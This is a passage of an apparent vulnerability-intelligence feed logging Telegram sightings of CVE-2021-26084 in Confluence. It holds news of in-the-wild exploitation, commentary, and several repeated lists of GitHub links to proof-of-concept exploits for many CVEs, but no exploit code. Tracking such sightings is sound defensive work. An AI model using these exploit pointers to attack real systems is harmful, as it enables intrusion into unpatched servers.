\u041f\u043e\u0442\u043e\u043c \u0432 PayTm. \u041d\u0443, \u0430 \u0432 PayTM \u0441\u0438\u0434\u0435\u043b \u0441\u043a\u0440\u0438\u043f\u0442\u043a\u0438\u0434\u0438\u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u0437\u0430\u0441\u0442\u0440\u0435\u043c\u0430\u043b\u0441\u044f \u0437\u0430\u043b\u0438\u0442\u044c \u043a\u043e\u0434 \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u0433\u0438\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 Nuclei. \u0422\u0443\u0442 \u0434\u0430\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0432 \u0442\u043e\u043c \u0447\u0442\u043e \u043e\u043d \u0443\u043a\u0440\u0430\u043b, \u0430 \u0432 \u0442\u043e\u043c \u0447\u0442\u043e \u0432\u044b\u0432\u0430\u043b\u0438\u0442\u044c \u0432 \u043f\u0430\u0431\u043b\u0438\u043a. \u0412\u0435\u0434\u044c \u0443\u0436\u0435 \u043a \u043a\u043e\u043d\u0446\u0443 \u043d\u0435\u0434\u0435\u043b\u0438 \u0432 \u043d\u043e\u0432\u043e\u0441\u0442\u044f\u0445 \u043f\u0435\u0441\u0442\u0440\u0438\u043b\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u043a\u0430\u043a \u0432\u0441\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u043f\u043e\u0434\u0432\u0435\u0433\u0440\u0430\u0435\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0435 \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Confluence. \nPS: \u0442\u0435\u043f\u0435\u0440\u044c \u0435\u0449\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 \u0441\u0442\u043e\u0438\u0442 \u0434\u0443\u043c\u0430\u0442\u044c \u043e \u0442\u043e\u043c \u0432 \u043a\u0430\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\u0431 \u0442\u0432\u043e\u0438 \u0442\u0440\u0443\u0434\u044b \u043d\u0435 \u0441\u0442\u0430\u043b\u0438 \u0434\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438. \u041d\u0443 \u0438\u043b\u0438 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0418\u043d\u0434\u0438\u0438 \ud83d\ude04", "url": "https://t.me/DC8044_Info/1751"}, {"timestamp": "2021-09-09T14:53:29Z", "date_only": false, "value": "2021-09-09T14:53:29.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/ed2b7e96-4f45-467e-9ac4-bce072f78d46", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "65e114ff-9a6e-46b2-b63d-14b1ae7723ff"}, {"timestamp": "2021-09-10T14:07:22Z", "date_only": false, "value": "2021-09-10T14:07:22.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacker_trick/181", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c3828baa-b7d2-4d55-a0cc-46846781b643", "content": "Latest Vulnerabilities and Exploits\n\n1_ ProxyShell \n_ https://github.com/ktecv2000/ProxyShell\n_ https://github.com/dmaasland/proxyshell-poc\n_ https://github.com/Udyz/proxyshell-auto\n\n2_ proxylogon\nhttps://github.com/Udyz/Automatic-Proxylogon-Exploit\n\n3_ HAProxy HTTP Smuggling\nhttps://github.com/knqyf263/CVE-2021-40346\n\n4_ Sequoia PoC\nhttps://github.com/ChrisTheCoolHut/CVE-2021-33909\n\n5_ RCE 0-day for GhostScript 9.50\nhttps://github.com/duc-nt/RCE-0-day-for-GhostScript-9.50\n\n6_ CVE-2021-26084:\nConfluence Server Webwork OGNL Injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\n\nRCE PoC:\nhttps://github.com/FanqXu/CVE-2021-26084", "url": "https://t.me/hacker_trick/181"}, {"timestamp": "2021-09-11T17:05:40Z", "date_only": false, "value": "2021-09-11T17:05:40.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacker_trick/183", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8cce95ba-0726-46b8-a293-eb5479f7a78d", "content": "1_ Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)\n\nhttps://github.com/lockedbyte/CVE-2021-40444\n\nhttps://github.com/Udyz/CVE-2021-40444\n\nhttps://github.com/Udyz/CVE-2021-40444-Sample\n\n2_ Atlassian Confluence Pre-Auth RCE\n\nhttps://github.com/Udyz/CVE-2021-26084", "url": "https://t.me/hacker_trick/183"}, {"timestamp": "2021-09-12T13:03:11Z", "date_only": false, "value": "2021-09-12T13:03:11.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thebugbountyhunter/5654", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "25151bf4-442b-4b07-ad52-fafc5f201524", "content": "Atlassian Confluence CVE-2021\u201326084. The other side of bug report!\n\nhttps://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6", "url": "https://t.me/thebugbountyhunter/5654"}, {"timestamp": "2021-09-12T18:25:31Z", "date_only": false, "value": "2021-09-12T18:25:31.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/tech_b0lt_Genona/2783", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4ab66d24-6fb0-4dab-b4ec-7521366a2515", "content": "\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 MidnightBSD, \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u044e\u0449\u0435\u0433\u043e \u0434\u0435\u0441\u043a\u0442\u043e\u043f-\u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 FreeBSD \u0441 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430\u043c\u0438, \u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0438\u0437 DragonFly BSD, OpenBSD \u0438 NetBSD, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0438 \u0441\u043b\u0435\u0434\u043e\u0432 \u0432\u0437\u043b\u043e\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432. \u0412\u0437\u043b\u043e\u043c \u0431\u044b\u043b \u0441\u043e\u0432\u0435\u0440\u0448\u0451\u043d \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2021-26084 \u0432 \u043f\u0440\u043e\u043f\u0440\u0438\u0435\u0442\u0430\u0440\u043d\u043e\u043c \u0434\u0432\u0438\u0436\u043a\u0435 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b Confluence (\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Atlassian \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0434\u043b\u044f \u043d\u0435\u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432).\n\n\u0421\u0435\u0440\u0432\u0435\u0440 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 MidnightBSD \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0441\u044f \u0432\u0437\u043b\u043e\u043c\u0443\nhttps://www.opennet.ru/opennews/art.shtml?num=55789", "url": "https://t.me/tech_b0lt_Genona/2783"}, {"timestamp": "2021-09-17T12:50:29Z", "date_only": false, "value": "2021-09-17T12:50:29.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/549", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e10c0785-f711-43ba-87fd-bdff7cce5b1f", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPatched Confluence 7.12.2 (CVE-2021-26084)\nURL\uff1ahttps://github.com/toowoxx/docker-confluence-patched", "url": "https://t.me/GithubRedTeam/549"}, {"timestamp": "2021-09-18T07:37:45Z", "date_only": false, "value": "2021-09-18T07:37:45.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/552", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b45ad5b4-03fc-4e71-9793-9b43c99cdd1b", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1a[CVE-2021-26084] Confluence pre-auth RCE test script\nURL\uff1ahttps://github.com/ludy-dev/CVE-2021-26084_PoC", "url": "https://t.me/GithubRedTeam/552"}, {"timestamp": "2021-09-18T23:06:09Z", "date_only": false, "value": "2021-09-18T23:06:09.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacker_trick/186", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "65ae5218-fb45-43f2-a7a4-2184ee41a713", "content": "Latest Vulnerabilities and Exploits\n\nCVE-2021-3449 OpenSSL denial-of-service exploit\nhttps://github.com/terorie/cve-2021-3449\n\nProxyToken\nhttps://github.com/bhdresh/CVE-2021-33766-ProxyToken\n\nCVES Xstream-1.4.17\nhttps://github.com/zwjjustdoit/Xstream-1.4.17\n\nCVE-2021-36934/HiveNightmare/SeriousSAM\nhttps://github.com/cube0x0/CVE-2021-36934\n\nHow to exploit a vulnerable windows driver Exploit for AsrDrv104 sys\nhttps://github.com/stong/CVE-2020-15368\n\nCVE-2021-32537: an out-of-bounds memory access that leads to pool corruption in the Windows kernel\nhttps://github.com/0vercl0k/CVE-2021-32537\n\nCVE-2021-28476 a guest-to-host \"Hyper-V Remote Code Execution Vulnerability\" in vmswitch sys\nhttps://github.com/0vercl0k/CVE-2021-28476\n\nCVE-2021-40444 - Fully Weaponized Microsoft Office Word RCE Exploit\nhttps://github.com/klezVirus/CVE-2021-40444\n\nExploit Accsess network clients by sending packets in wirless TP-LINK and preparing for a mitm attack\nhttps://github.com/lhashashinl/CVE-2021-37152\n\nProof on Concept Exploit for CVE-2021-38647 (OMIGOD)\nhttps://github.com/horizon3ai/CVE-2021-38647\n\nProof of Concept Exploit for vCenter CVE-2021-21972\nhttps://github.com/horizon3ai/CVE-2021-21972\n\nProof-of-Concept (PoC) script to exploit Pulse Secure CVE-2021-22893\nhttps://github.com/ZephrFish/CVE-2021-22893\n\nCVE-2021-33766 (ProxyToken)\nhttps://github.com/demossl/CVE-2021-33766-ProxyToken\n\nCVE-2021-2456\nhttps://github.com/peterjson31337/CVE-2021-2456\n\nCVE-2021-38647 POC for RCE\nhttps://github.com/midoxnet/CVE-2021-38647\n\nCVE-2021-26084 (PoC) | Confluence Server Webwork OGNL injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\nhttps://github.com/r0ckysec/CVE-2021-26084_Confluence\nhttps://github.com/march0s1as/CVE-2021-26084\n\n\nCVE-2021-21551 Dell Driver EoP\nhttps://github.com/ihack4falafel/Dell-Driver-EoP-CVE-2021-21551\n\nA basic PoC leak for CVE-2021-28663 (Internal of the Android kernel backdoor vulnerability)\nhttps://github.com/lntrx/CVE-2021-28663\n\nCVE-2021-40353 openSIS 8.0 SQL Injection\nhttps://github.com/5qu1n7/CVE-2021-40353\n\nCVE-2021-28476 Ubuntu 20.04\nhttps://github.com/sh4m2hwz/CVE-2021-28476-tools-env\n\nmy exp for chrome V8 CVE-2021-30551\nhttps://github.com/xmzyshypnc/CVE-2021-30551\n\nPOC of CVE-2021-2394\nhttps://github.com/lz2y/CVE-2021-2394\n\nWordPress Backup Guard Authenticated Remote Code Execution Exploit\nhttps://github.com/0dayNinja/CVE-2021-24155.rb\n\nExploit code for CVE-2021-33909,Just a dump of removed\nhttps://github.com/bbinfosec43/CVE-2021-33909", "url": "https://t.me/hacker_trick/186"}, {"timestamp": "2021-09-20T23:28:55Z", "date_only": false, "value": "2021-09-20T23:28:55.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thebugbountyhunter/5669", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d1c64518-b8bc-4356-a3af-91319f95b5f7", "content": "Confluence server exploit CVE-2021-26084\n\nhttps://youtu.be/yMLoIJVz0YI", "url": "https://t.me/thebugbountyhunter/5669"}, {"timestamp": "2021-09-21T04:41:55Z", "date_only": false, "value": "2021-09-21T04:41:55.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/pwnwiki_zhchannel/839", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4c8feb4a-2e18-4ab8-ad77-3c43f277f41e", "content": "CVE-2021-26084 Confluence OGNL \u6ce8\u5165\u6f0f\u6d1e\nhttps://short.pwnwiki.org/?c=ZburD4", "url": "https://t.me/pwnwiki_zhchannel/839"}, {"timestamp": "2021-09-21T10:02:52Z", "date_only": false, "value": "2021-09-21T10:02:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/567", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "bf1edb11-9df8-4592-8b9b-e82ba67e19fc", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1a[CVE-2021-26084] Confluence pre-auth RCE test script\nURL\uff1ahttps://github.com/AlAIAL90/CVE-2021-22925", "url": "https://t.me/GithubRedTeam/567"}, {"timestamp": "2021-09-21T15:56:24Z", "date_only": false, "value": "2021-09-21T15:56:24.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/40085", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "06ca8d22-cdb8-4e76-bcbb-7b2b6387f0c3", "content": "Cryptominer z0Miner Uses Newly Discovered Vulnerability CVE-2021-26084 to Its Advantage\n\nhttps://ift.tt/3hTDcAO", "url": "https://t.me/ctinow/40085"}, {"timestamp": "2021-09-22T16:54:44Z", "date_only": false, "value": "2021-09-22T16:54:44.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/cKure/7237", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "29c8b4ea-24fd-404c-b5bf-453acc549f2e", "content": "\u25a0\u25a1\u25a1\u25a1\u25a1 CVE-2021-26084: The cryptocurrency miner is exploiting the new Confluence remote code execution bug.\n\nhttps://www.zdnet.com/article/this-cryptocurrency-miner-is-exploiting-the-new-confluence-remote-code-execution-bug", "url": "https://t.me/cKure/7237"}, {"timestamp": "2021-09-24T12:55:07Z", "date_only": false, "value": "2021-09-24T12:55:07.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CyberSecurityTechnologies/4366", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9eee7de3-e3b3-4e6f-82d1-21967600ac86", "content": "#Malware_analysis\n1. Financially motivated actor breaks certificate parsing to avoid detection\nhttps://blog.google/threat-analysis-group/financially-motivated-actor-breaks-certificate-parsing-avoid-detection\n2. Cryptominer z0Miner Uses Newly Discovered Vulnerability CVE-2021-26084 to Its Advantage\nhttps://www.trendmicro.com/en_us/research/21/i/cryptominer-z0miner-uses-newly-discovered-vulnerability-cve-2021.html", "url": "https://t.me/CyberSecurityTechnologies/4366"}, {"timestamp": "2021-09-24T23:39:58Z", "date_only": false, "value": "2021-09-24T23:39:58.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/cKure/7273", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "dde18442-a8f7-487b-ad8b-41f0e8482874", "content": "\u25a0\u25a0\u25a0\u25a1\u25a1 CVE-2021-26084: Details on the recently exploited atlassian confluence OGNL injection bug.\n\nhttps://www.zerodayinitiative.com/blog/2021/9/21/cve-2021-26084-details-on-the-recently-exploited-atlassian-confluence-ognl-injection-bug", "url": "https://t.me/cKure/7273"}, {"timestamp": "2021-09-25T02:14:31Z", "date_only": false, "value": "2021-09-25T02:14:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyber0iq/18", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "eb930dbe-e8a7-4854-a825-4456c05ad45d", "content": "Latest Vulnerabilities and Exploits\n\nCVE-2021-3449 OpenSSL denial-of-service exploit\nhttps://github.com/terorie/cve-2021-3449\n\nProxyToken\nhttps://github.com/bhdresh/CVE-2021-33766-ProxyToken\n\nCVES Xstream-1.4.17\nhttps://github.com/zwjjustdoit/Xstream-1.4.17\n\nCVE-2021-36934/HiveNightmare/SeriousSAM\nhttps://github.com/cube0x0/CVE-2021-36934\n\nHow to exploit a vulnerable windows driver Exploit for AsrDrv104 sys\nhttps://github.com/stong/CVE-2020-15368\n\nCVE-2021-32537: an out-of-bounds memory access that leads to pool corruption in the Windows kernel\nhttps://github.com/0vercl0k/CVE-2021-32537\n\nCVE-2021-28476 a guest-to-host \"Hyper-V Remote Code Execution Vulnerability\" in vmswitch sys\nhttps://github.com/0vercl0k/CVE-2021-28476\n\nCVE-2021-40444 - Fully Weaponized Microsoft Office Word RCE Exploit\nhttps://github.com/klezVirus/CVE-2021-40444\n\nExploit Accsess network clients by sending packets in wirless TP-LINK and preparing for a mitm attack\nhttps://github.com/lhashashinl/CVE-2021-37152\n\nProof on Concept Exploit for CVE-2021-38647 (OMIGOD)\nhttps://github.com/horizon3ai/CVE-2021-38647\n\nProof of Concept Exploit for vCenter CVE-2021-21972\nhttps://github.com/horizon3ai/CVE-2021-21972\n\nProof-of-Concept (PoC) script to exploit Pulse Secure CVE-2021-22893\nhttps://github.com/ZephrFish/CVE-2021-22893\n\nCVE-2021-33766 (ProxyToken)\nhttps://github.com/demossl/CVE-2021-33766-ProxyToken\n\nCVE-2021-2456\nhttps://github.com/peterjson31337/CVE-2021-2456\n\nCVE-2021-38647 POC for RCE\nhttps://github.com/midoxnet/CVE-2021-38647\n\nCVE-2021-26084 (PoC) | Confluence Server Webwork OGNL injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\nhttps://github.com/r0ckysec/CVE-2021-26084_Confluence\nhttps://github.com/march0s1as/CVE-2021-26084\n\n\nCVE-2021-21551 Dell Driver EoP\nhttps://github.com/ihack4falafel/Dell-Driver-EoP-CVE-2021-21551\n\nA basic PoC leak for CVE-2021-28663 (Internal of the Android kernel backdoor vulnerability)\nhttps://github.com/lntrx/CVE-2021-28663\n\nCVE-2021-40353 openSIS 8.0 SQL Injection\nhttps://github.com/5qu1n7/CVE-2021-40353\n\nCVE-2021-28476 Ubuntu 20.04\nhttps://github.com/sh4m2hwz/CVE-2021-28476-tools-env\n\nmy exp for chrome V8 CVE-2021-30551\nhttps://github.com/xmzyshypnc/CVE-2021-30551\n\nPOC of CVE-2021-2394\nhttps://github.com/lz2y/CVE-2021-2394\n\nWordPress Backup Guard Authenticated Remote Code Execution Exploit\nhttps://github.com/0dayNinja/CVE-2021-24155.rb\n\nExploit code for CVE-2021-33909,Just a dump of removed\nhttps://github.com/bbinfosec43/CVE-2021-33909", "url": "https://t.me/cyber0iq/18"}, {"timestamp": "2021-09-25T02:15:23Z", "date_only": false, "value": "2021-09-25T02:15:23.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyber0iq/19", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c7ab8524-f491-42ee-9c1c-9c1211c568d5", "content": "Latest Vulnerabilities and Exploits\n\nCVE-2021-3449 OpenSSL denial-of-service exploit\nhttps://github.com/terorie/cve-2021-3449\n\nProxyToken\nhttps://github.com/bhdresh/CVE-2021-33766-ProxyToken\n\nCVES Xstream-1.4.17\nhttps://github.com/zwjjustdoit/Xstream-1.4.17\n\nCVE-2021-36934/HiveNightmare/SeriousSAM\nhttps://github.com/cube0x0/CVE-2021-36934\n\nHow to exploit a vulnerable windows driver Exploit for AsrDrv104 sys\nhttps://github.com/stong/CVE-2020-15368\n\nCVE-2021-32537: an out-of-bounds memory access that leads to pool corruption in the Windows kernel\nhttps://github.com/0vercl0k/CVE-2021-32537\n\nCVE-2021-28476 a guest-to-host \"Hyper-V Remote Code Execution Vulnerability\" in vmswitch sys\nhttps://github.com/0vercl0k/CVE-2021-28476\n\nCVE-2021-40444 - Fully Weaponized Microsoft Office Word RCE Exploit\nhttps://github.com/klezVirus/CVE-2021-40444\n\nExploit Accsess network clients by sending packets in wirless TP-LINK and preparing for a mitm attack\nhttps://github.com/lhashashinl/CVE-2021-37152\n\nProof on Concept Exploit for CVE-2021-38647 (OMIGOD)\nhttps://github.com/horizon3ai/CVE-2021-38647\n\nProof of Concept Exploit for vCenter CVE-2021-21972\nhttps://github.com/horizon3ai/CVE-2021-21972\n\nProof-of-Concept (PoC) script to exploit Pulse Secure CVE-2021-22893\nhttps://github.com/ZephrFish/CVE-2021-22893\n\nCVE-2021-33766 (ProxyToken)\nhttps://github.com/demossl/CVE-2021-33766-ProxyToken\n\nCVE-2021-2456\nhttps://github.com/peterjson31337/CVE-2021-2456\n\nCVE-2021-38647 POC for RCE\nhttps://github.com/midoxnet/CVE-2021-38647\n\nCVE-2021-26084 (PoC) | Confluence Server Webwork OGNL injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\nhttps://github.com/r0ckysec/CVE-2021-26084_Confluence\nhttps://github.com/march0s1as/CVE-2021-26084\n\n\nCVE-2021-21551 Dell Driver EoP\nhttps://github.com/ihack4falafel/Dell-Driver-EoP-CVE-2021-21551\n\nA basic PoC leak for CVE-2021-28663 (Internal of the Android kernel backdoor vulnerability)\nhttps://github.com/lntrx/CVE-2021-28663\n\nCVE-2021-40353 openSIS 8.0 SQL Injection\nhttps://github.com/5qu1n7/CVE-2021-40353\n\nCVE-2021-28476 Ubuntu 20.04\nhttps://github.com/sh4m2hwz/CVE-2021-28476-tools-env\n\nmy exp for chrome V8 CVE-2021-30551\nhttps://github.com/xmzyshypnc/CVE-2021-30551\n\nPOC of CVE-2021-2394\nhttps://github.com/lz2y/CVE-2021-2394\n\nWordPress Backup Guard Authenticated Remote Code Execution Exploit\nhttps://github.com/0dayNinja/CVE-2021-24155.rb\n\nExploit code for CVE-2021-33909,Just a dump of removed\nhttps://github.com/bbinfosec43/CVE-2021-33909", "url": "https://t.me/cyber0iq/19"}, {"timestamp": "2021-09-26T17:11:27Z", "date_only": false, "value": "2021-09-26T17:11:27.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CyberSecurityTechnologies/4384", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "fe2b85c2-f3cf-4981-bd50-a62cbc9ab598", "content": "#Analytics\nCVE-2021-26084:\nDetails on the Recently Exploited Atlassian Confluence OGNL Injection Bug\nhttps://www.zerodayinitiative.com/blog/2021/9/21/cve-2021-26084-details-on-the-recently-exploited-atlassian-confluence-ognl-injection-bug\n]-> PoC Exploit:\nhttps://t.me/cybersecuritytechnologies/4202", "url": "https://t.me/CyberSecurityTechnologies/4384"}, {"timestamp": "2021-09-30T11:21:48Z", "date_only": false, "value": "2021-09-30T11:21:48.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/40610", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "23f67717-a2eb-4492-ba69-dcf9c09ba817", "content": "Threat actors use recently discovered CVE-2021-26084 Atlassian Confluence\n\nhttps://ift.tt/2Y5m3wM", "url": "https://t.me/ctinow/40610"}, {"timestamp": "2021-10-01T11:01:01Z", "date_only": false, "value": "2021-10-01T11:01:01.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberSecurityTechnologies/4416", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e0da4d60-1f31-4b2f-bd32-2330f18e3794", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (Sep 1-30)\nCVE-2021-40444 - Microsoft MSHTML RCE\nhttps://t.me/cybersecuritytechnologies/4276\nCVE-2021-26084 - Confluence Server Webwork OGNL Inj\nhttps://t.me/cybersecuritytechnologies/4202\nCVE-2021-22005 - vCenter Server contains - arbitrary file upload\nhttps://t.me/cybersecuritytechnologies/4401\nCVE-2021-30860 - Zero-Click iPhone Exploit\nhttps://t.me/cybersecuritytechnologies/4318\nCVE-2021-38647 - OMIGOD RCE Vuln in Multiple Azure Linux Deployments\nhttps://t.me/cybersecuritytechnologies/4315\nCVE-2021-30632 - Out of bounds write in V8\nhttps://t.me/cybersecuritytechnologies/4342\nCVE-2021-33035 - Code Execution in Apache OpenOffice\nhttps://t.me/cybersecuritytechnologies/4329\nCVE-2021-38112 - AWS WorkSpaces Desktop Client RCE\nhttps://t.me/cybersecuritytechnologies/4358\nCVE-2021-30740 / CVE-2021-30768 - A malicious application may be able to execute arbitrary code with kernel privileges\nhttps://mobile.twitter.com/infinityABCDE/status/1437596340222038017", "url": "https://t.me/CyberSecurityTechnologies/4416"}, {"timestamp": "2021-10-04T19:38:25Z", "date_only": false, "value": "2021-10-04T19:38:25.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/xakep_ru/11391", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "050369e9-b4f9-4cba-a561-e12340176ce7", "content": "\u0412\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c Atom Silo \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b Confluence\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b SophosLabs \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043d\u043e\u0432\u0430\u044f \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435 Confluence Server \u0438 Data Center (CVE-2021-26084).\n\nhttps://xakep.ru/2021/10/04/atom-silo/", "url": "https://t.me/xakep_ru/11391"}, {"timestamp": "2021-10-06T21:38:54Z", "date_only": false, "value": "2021-10-06T21:38:54.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cKure/7507", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "04163706-3024-4a55-bd18-d2549cd83fe6", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 This write-up provides an overview of CVE-2021-26084 - Confluence Server Webwork OGNL injection \ud83d\udc89 \n\nhttps://github.com/snowyyowl/writeups/blob/main/CVE-2021-26084.md", "url": "https://t.me/cKure/7507"}, {"timestamp": "2021-10-06T23:27:08Z", "date_only": false, "value": "2021-10-06T23:27:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/665", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1a15230f-d136-488f-8b15-df7c90c3bd64", "content": 